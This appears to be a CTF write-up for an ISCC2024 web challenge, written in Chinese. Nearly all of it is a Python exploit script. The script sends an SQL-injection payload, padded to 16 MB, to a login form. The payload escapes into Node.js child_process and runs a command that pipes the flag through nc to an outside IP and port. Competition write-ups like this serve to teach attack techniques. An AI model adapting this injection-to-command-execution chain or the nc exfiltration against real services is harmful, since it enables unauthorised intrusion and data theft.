# ISCC2024 WriteUp

Whooops+李卓航+925798691@qq.com

### Web+这题我出不了了

### 解题思路

# 从 random 模块导入 randint 函数，用于生成随机整数

from random import randint

# 导入 requests 模块，用于发送 HTTP 请求

import requests

# 设置代理为空，即不使用代理

po = {"http": None, "https": None}

# 定义一个 payload 字符串，其中包含了 SQL 注入和命令执行的恶意代码

payload = """','')/\*%s\*/returning(1)as"\\'/\*",(1)as"\\'\*/-(a=`child\_process`)/\*",(2)as"\\'\*/-(b=`/printFlag|nc 47.113.177.51 5555`)/\*",(3)as"\\'\*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' ' \* 1024 \* 1024 \* 16)

# 这个 payload 利用了 SQL 注入漏洞，试图在服务器上执行远程命令，通过 nc 工具向攻击者的服务器发送数据

# 生成一个随机的用户名，用户名由三个随机整数拼接而成

username = str(randint(1, 65535)) + str(randint(1, 65535)) + str(randint(1, 65535))

# 定义要发送的数据，包含恶意的用户名和一个简单的密码

data = {

'username': username + payload,

'password': 'AAAAAA'

}

# 打印 'ok' 表示程序运行到此处

print('ok')

# 发送一个 POST 请求到指定的 URL，并携带 data 作为表单数据，同时设置代理

r = requests.post('http://101.200.138.180:32031/login', data=data, proxies=po)

# 打印服务器响应的内容

print(r.content)